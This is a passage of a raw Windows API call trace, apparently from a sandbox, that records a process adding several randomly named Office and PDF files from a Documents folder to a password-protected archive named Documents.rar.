dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0082.052] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0082.052] GetTickCount () returned 0x2a51f [0082.052] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0082.052] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0082.052] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0082.052] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0082.052] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="3jMLs-qdS.docx") returned 14 [0082.052] SetWindowTextW (hWnd=0x10300, lpString="BTQU2WOZsFUjw.pdf") returned 1 [0082.052] GetTickCount () returned 0x2a51f [0082.052] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.052] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a7310) returned 1 [0082.053] CryptGenRandom (in: hProv=0x116320a7310, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0082.053] CryptReleaseContext (hProv=0x116320a7310, dwFlags=0x0) returned 1 [0082.053] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x3b, wMilliseconds=0x21a)) [0082.053] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0082.053] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17338151059) returned 1 [0082.053] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0xe9c2, lpOverlapped=0x0) returned 1 [0082.054] ReadFile (in: hFile=0x350, lpBuffer=0x11631b9ca02, nNumberOfBytesToRead=0xf163e, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b9ca02*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0082.054] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.054] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.054] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f20 [0082.054] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079980 [0082.054] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079980, Size=0x48) returned 0x1162e888ea0 [0082.054] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86db30 [0082.054] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a10 [0082.054] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079a10, Size=0x48) returned 0x1162e888ef0 [0082.054] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86db30 | out: hHeap=0x1162e7c0000) returned 1 [0082.054] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.054] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079d40 [0082.054] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e90 [0082.054] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079e90 | out: hHeap=0x1162e7c0000) returned 1 [0082.054] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079d40 | out: hHeap=0x1162e7c0000) returned 1 [0082.054] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079f20, Size=0x4f) returned 0x1163204d640 [0082.054] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d640, Size=0x8b) returned 0x1162e87d0b0 [0082.054] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ef0 | out: hHeap=0x1162e7c0000) returned 1 [0082.054] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87d0b0 | out: hHeap=0x1162e7c0000) returned 1 [0082.056] GetTickCount () returned 0x2a51f [0082.056] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17338495493) returned 1 [0082.056] GetTickCount () returned 0x2a51f [0082.056] GetTickCount () returned 0x2a51f [0082.056] GetTickCount () returned 0x2a51f [0082.056] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.056] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.056] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.058] ResetEvent (hEvent=0x344) returned 1 [0082.058] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.060] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.060] ResetEvent (hEvent=0x344) returned 1 [0082.060] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.061] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.062] GetTickCount () returned 0x2a52f [0082.062] GetLastError () returned 0x0 [0082.062] SetLastError (dwErrCode=0x0) [0082.062] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0082.062] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0082.062] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbe80, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0082.062] SetWindowTextW (hWnd=0x10302, lpString=" 100%") returned 1 [0082.062] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x0 [0082.062] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17339096636) returned 1 [0082.062] GetTickCount () returned 0x2a52f [0082.062] GetTickCount () returned 0x2a52f [0082.062] GetTickCount () returned 0x2a52f [0082.062] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.062] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.062] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.063] ResetEvent (hEvent=0x33c) returned 1 [0082.063] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.063] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.063] ResetEvent (hEvent=0x33c) returned 1 [0082.063] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.064] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.064] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.064] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.064] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x6e597 [0082.064] SetFilePointer (in: hFile=0x32c, lDistanceToMove=137, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x6e620 [0082.064] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0082.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0082.064] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0082.065] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0082.065] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0082.065] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0xea40, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0xea40, lpOverlapped=0x0) returned 1 [0082.066] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.066] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.066] SetFilePointer (in: hFile=0x32c, lDistanceToMove=451991, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x6e597 [0082.066] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x6e597 [0082.066] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079d40 [0082.066] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e00 [0082.066] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079e00, Size=0x48) returned 0x1162e8893a0 [0082.066] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d8f0 [0082.066] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079ef0 [0082.066] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079ef0, Size=0x48) returned 0x1162e888ef0 [0082.066] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d8f0 | out: hHeap=0x1162e7c0000) returned 1 [0082.066] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893a0 | out: hHeap=0x1162e7c0000) returned 1 [0082.066] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a70 [0082.066] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e00 [0082.066] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079e00 | out: hHeap=0x1162e7c0000) returned 1 [0082.066] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079a70 | out: hHeap=0x1162e7c0000) returned 1 [0082.066] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079d40, Size=0x4f) returned 0x1163204d880 [0082.066] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d880, Size=0x8b) returned 0x1162e87d010 [0082.066] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e87d012*, nNumberOfBytesToWrite=0x89, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1162e87d012*, lpNumberOfBytesWritten=0x141a0d82c0*=0x89, lpOverlapped=0x0) returned 1 [0082.066] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f50 [0082.066] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x89) returned 0x1162e87d0b0 [0082.066] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ef0 | out: hHeap=0x1162e7c0000) returned 1 [0082.066] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87d010 | out: hHeap=0x1162e7c0000) returned 1 [0082.066] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x7d060 [0082.067] CloseHandle (hObject=0x350) returned 1 [0082.067] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.067] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.067] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.067] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.067] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\cA7tY- cuM.pptx", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0082.067] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0082.067] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\cA7tY- cuM.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\5hld-s\\ca7ty- cum.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0082.067] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0082.067] GetTickCount () returned 0x2a52f [0082.067] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0082.067] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0082.067] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0082.067] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0082.067] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="BTQU2WOZsFUjw.pdf") returned 17 [0082.067] SetWindowTextW (hWnd=0x10300, lpString="cA7tY- cuM.pptx") returned 1 [0082.068] GetTickCount () returned 0x2a52f [0082.068] UpdateWindow (hWnd=0x102f8) returned 1 [0082.068] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.068] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a7310) returned 1 [0082.068] CryptGenRandom (in: hProv=0x116320a7310, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0082.068] CryptReleaseContext (hProv=0x116320a7310, dwFlags=0x0) returned 1 [0082.068] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x3b, wMilliseconds=0x229)) [0082.068] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0082.068] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17339690163) returned 1 [0082.068] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0xfdf5, lpOverlapped=0x0) returned 1 [0082.069] ReadFile (in: hFile=0x350, lpBuffer=0x11631b9de35, nNumberOfBytesToRead=0xf020b, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b9de35*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0082.069] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.069] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.069] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079cb0 [0082.069] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e60 [0082.069] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079e60, Size=0x48) returned 0x1162e8886d0 [0082.069] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0082.069] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079ec0 [0082.069] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079ec0, Size=0x48) returned 0x1162e888ea0 [0082.069] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0082.069] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8886d0 | out: hHeap=0x1162e7c0000) returned 1 [0082.069] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079d70 [0082.069] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079fb0 [0082.069] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079fb0 | out: hHeap=0x1162e7c0000) returned 1 [0082.069] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079d70 | out: hHeap=0x1162e7c0000) returned 1 [0082.069] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079cb0, Size=0x4d) returned 0x1163204d460 [0082.070] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d460, Size=0x89) returned 0x1162e87d010 [0082.070] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.070] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87d010 | out: hHeap=0x1162e7c0000) returned 1 [0082.071] GetTickCount () returned 0x2a52f [0082.071] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17340026632) returned 1 [0082.072] GetTickCount () returned 0x2a52f [0082.072] GetTickCount () returned 0x2a52f [0082.072] GetTickCount () returned 0x2a52f [0082.072] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.072] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.072] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.073] ResetEvent (hEvent=0x344) returned 1 [0082.073] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.077] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.077] ResetEvent (hEvent=0x344) returned 1 [0082.077] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.079] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.079] GetTickCount () returned 0x2a53f [0082.079] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17340790813) returned 1 [0082.079] GetTickCount () returned 0x2a53f [0082.079] GetTickCount () returned 0x2a53f [0082.079] GetTickCount () returned 0x2a53f [0082.079] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 1 [0082.079] GetMessageW (in: lpMsg=0x141a0dd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd760) returned 1 [0082.080] GetFocus () returned 0x1031c [0082.080] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd760) returned 1 [0082.080] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.080] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.080] ResetEvent (hEvent=0x33c) returned 1 [0082.081] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.081] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.081] ResetEvent (hEvent=0x33c) returned 1 [0082.081] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.082] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.082] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.082] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.082] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x7d060 [0082.082] SetFilePointer (in: hFile=0x32c, lDistanceToMove=135, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x7d0e7 [0082.082] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0082.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0082.082] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0082.082] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0082.083] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0082.083] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0xfe80, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0xfe80, lpOverlapped=0x0) returned 1 [0082.085] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.085] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.085] SetFilePointer (in: hFile=0x32c, lDistanceToMove=512096, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x7d060 [0082.085] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x7d060 [0082.085] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a10 [0082.085] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bf0 [0082.085] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bf0, Size=0x48) returned 0x1162e889120 [0082.085] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d7b0 [0082.085] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079ce0 [0082.085] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079ce0, Size=0x48) returned 0x1162e889530 [0082.085] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d7b0 | out: hHeap=0x1162e7c0000) returned 1 [0082.085] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e889120 | out: hHeap=0x1162e7c0000) returned 1 [0082.085] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a0a0 [0082.085] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e30 [0082.085] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079e30 | out: hHeap=0x1162e7c0000) returned 1 [0082.085] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163207a0a0 | out: hHeap=0x1162e7c0000) returned 1 [0082.085] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079a10, Size=0x4d) returned 0x1163204d460 [0082.085] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d460, Size=0x89) returned 0x1162e87d290 [0082.085] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e87d292*, nNumberOfBytesToWrite=0x87, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1162e87d292*, lpNumberOfBytesWritten=0x141a0d82c0*=0x87, lpOverlapped=0x0) returned 1 [0082.085] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079ad0 [0082.085] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x87) returned 0x1163205e1e0 [0082.085] 